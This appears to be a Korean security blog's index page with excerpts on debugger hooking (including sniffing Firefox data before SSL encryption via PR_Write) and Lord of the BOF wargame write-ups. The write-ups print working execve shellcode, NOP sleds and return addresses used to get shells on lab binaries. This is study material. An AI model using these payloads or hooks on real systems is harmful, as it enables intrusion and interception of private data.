전체 글 (270) 썸네일형 리스트형 Immunity 디버거를 이용한 하드 후킹 이 기술은 x86 어셈블리 코드로 작성된 후킹 코드를 사용하기 때문에 후킹 대상 프로세스에 많은 영향을 끼치지 않는다. 소프트 후킹의 경우에는 브레이크 포인트가 호출될 때 마다 프로세스가 많은 작업 (그리고 더 많은 명령들)을 처리해야 하며, 후킹 코드를 실행시킨 다음에는 자기 자신의 코드를 계속해서 실행시켜야 한다.반면 하드 후킹의 경우 특정한 코드 조각만으로 후킹 코드를 실행시키고 기존의 프로세스 코드 흐름으로 돌아온다.하드 후킹을 사용할 때의 장점은 소프트 후킹의 경우와는 달리 후킹 대상 프로세스가 에러로 인해 종료되는 일이 없다. Immunity 디버거에서는 FastLogHook 이라는 객체를 통해 복잡한 하드 후킹 설정 과정을 간단히 처리 할 수 있다. FastLogHook 객체는 원하는 값을 .. PyDbg 를 이용한 소프트 후킹 소프트 후킹을 이용해 모질라 파이어 폭스가 데이터를 암호화 시키기 전 데이터를 스니핑 해보자. 파이어폭스는 통상적으로 SSL 암호화를 사용한다.어느 함수에 후킹을 할 지는 본인의 선택이지만, 여기서는 PR_Write 함수에 후킹을 설정한다. 이 함수가 호출되면 ESP+8을 통해 암호화 되기 전의 아스키 문자열에 대한 포인터를 얻을 수 있다. ESP 레지스터로부터 오프셋+8의 위치라는 것은 (오프셋이란 거리를 이야기 한다.)아스키 문자열이 PR_Write 함수에 두 번째 파라미터로 전달된다는 의미이다. --> 암호화 되기 전 아스키 문자열을 스니핑 하기 위해서는, 이 함수를 후킹한다.(수정) 이 함수를 후킹할 경우, 아스키 문자열을 스니핑 할 수 있다. 파이어폭스 웹 브라우저를 열고 https://www... vampire -> skeleton argv 전체,환경변수 전체 를 초기화 시킨다.마땅한 페이로드가 생각나지 않아 삽질하던중,메모리에 파일의 경로 값이 남는것을 발견했다. 그래서 gdb 로 확인을 해봤더니, 정말 초기화가 되지 않았다. 인자에 포함이 되지 않는 값인 것 같다. 그래서 심볼릭 링크를 이용해, (하드링크시 아이노드가 복사되어서 권한이 변경된다.)파일 이름에 쉘코드를 포함시켰다. [vampire@localhost payload]$ ls????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T�[vampire@localhost payload]$.. troll -> vampire argv 길이 제한이 없어졌다.대신 RET 가 bf 다음 ff 면 거른다.따라서 ff 주소를 뛰어넘을bffe~~~ 주소를 찾아야 한다.argv 길이 제한이 없으므로, argv[1] 뒤에 NOP를 많이 붙여줌으로써 buffer 의 시작위치를 뒤로 보낸다. [troll@localhost asdf]$ ../vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\x30\x72\xfe\xbf" + "\x90"*100444'`bash$ my-pass euid = 509 music world bash$ gdb 특정 값찾기 (gdb) set $x=0x08071000(gdb) while(*++$x!=0x90909090)>end(gdb) x/10b $x orge -> troll [orge@localhost tmp]$ rm -rf ./* [orge@localhost tmp]$ ln -s ../asdf/a.out `python -c 'print "\x90"*1000 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` ln: ������������������������������������������������������������������������������������������.. darkelf -> orge argv[0] 체크가 추가되었다.하지만 전에 썼던 방범과는 무관한 제한이므로 전 페이로드를 그대로 쓰도록 하겠다. (argv[2] 이용) [darkelf@localhost tmp]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\x90"*44 + "\xd2\xf7\xff\xbf" + " " +"\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` argv[2] = 0xbffff7b9 ����������������������.. wolfman -> darkelf argv[1] 의 길이체크 및 버퍼 초기화.새로운 인자값을 줌으로서 argv[2] 로 넘어간다.darkelf 소스코드에서 argv[2] 의 주소를 출력하는 코드를 추가하고.그 주소를 바탕으로 RET를 돌리면 쉘을 획득할 수 있다. [wolfman@localhost tmp]$ ls copyelf darkelf darkelf.c [wolfman@localhost tmp]$ ./copyelf `python -c 'print "\x90"*44 + "\xbf"*4 +" "+ "\x90"*1000'` argv[2] = 0xbffff85a ������������������������������������������������ Segmentation fault (core dumped) [wolfman@localhost.. 이전 1 ··· 18 19 20 21 22 23 24 ··· 34 다음